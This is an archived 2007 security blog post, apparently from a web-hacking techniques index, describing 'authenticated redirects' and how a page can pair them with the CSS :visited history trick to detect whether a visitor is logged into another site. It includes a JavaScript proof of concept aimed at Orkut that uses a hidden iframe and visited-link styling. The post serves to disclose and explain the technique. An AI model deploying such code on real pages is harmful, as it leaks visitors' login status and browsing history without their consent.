

More Logged In User Detection via Authenticated Redirects

More Logged In User Detection via Authenticated Redirects - Author not stated, kuza55.blogspot.com.

- Published: date not stated
- Original: <<https://kuza55.blogspot.com/2007/01/more-user-login-detection-via.html>>
- Preserved from: <https://kuza55.blogspot.com/2007/01/more-user-login-detection-via.html> (live) on 2026-08-09
- Licence: unknown

Rights remain with the original author and publisher. This is a research archive of a source from the Web Hacking Techniques Index collections, kept so the page going offline. To read the original, follow the link above.

Content

UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

Ok, so what's changed since the 30th when I posted about this under a different name (Semi-Open Redirects), well, I thought of a better name and some new ways to exploit Authenticated Redirects.

Authenticated redirects should be self-explanatory, but essentially I just mean redirects which don't redirect you if you aren't logged on (or ones which redirect you only if you aren't logged on, but its a good enough name for me anyway).

Now, in my post about Semi-Open redirects, one of the constraints I hadn't thought of a circumvention for was the need to have an *open* redirect, so you could control where it redirects.

Since then I've realised that its not always necessary to control where the redirect sends users. Because we can already check if a user has visited a page through the CSS history hack!

Some common types of authenticated redirects which you can find on the internet are download pages which you need to login to view, which use redirects to track how many people are getting sent to each download or other link.

But anyway, these redirects are abundant, so here's the source to a working PoC for Orkut:

```
<html> <body> <script type="text/javascript"> function iframe_callback() {
if(temp.offsetHeight==1){ alert('You are NOT logged into Orkut.')} else { alert('You ARE logged into
Orkut.')} } c.removeChild (temp); document.body.removeChild(orkut_iframe); }

document.write( '<style type="text/css">#nicked a:link{color:#fff;}' ); document.write( '#nicked
a:visited{height:1px;width:1px;display:block;overflow:hidden;margin:1px;}' ); document.write(
'#nicked{font-size:1px;overflow:hidden;height:1px;margin:0;padding:0;}</style>' ); var c =
document.createElement('div'); c.id='nicked'; document.body.appendChild(c)
```

```
var visited = true; var temp = document.createElement('a'); temp.innerHTML = 'test';
c.appendChild(temp); var random, link;
while (visited == true) {
random=Math.floor(Math.random()*1000000); link = 'https://www.orkut.com/GLogin.aspx?
done=https%3A%2F%2Fwww.orkut.com%2FNews.aspx%3Ftest%3D' + random;
temp.href=link; if(temp.offsetHeight!=1){ visited = false; } }
var orkut_iframe = document.createElement('iframe'); orkut_iframe.src =
'https://www.orkut.com/News.aspx?test=' + random; orkut_iframe.style.display = 'none';
orkut_iframe.onload = iframe_callback; document.body.appendChild(orkut_iframe);
</script> </body> </html>`
```

Note: This PoC works on the principal that Orkut redirects you to a login page with the URL of where you wanted to go in the URL, and so we create URL with a random number appended to the URL, and then we see if you were redirected to the login URL.

Oh, and credit to Christian Heilmann whose CSS detecting code I essentially stole, because he was the first one smart enough to get it working in all browsers and post the working version in a comment on Jeremiah's blog. If anyone is interested I ripped the code from here: <http://icant.co.uk/sandbox/nickhistory.html>

Archived from <https://kuza55.blogspot.com/2007/01/more-user-login-detection-via.html>. Rendered offline from the local Markdown copy.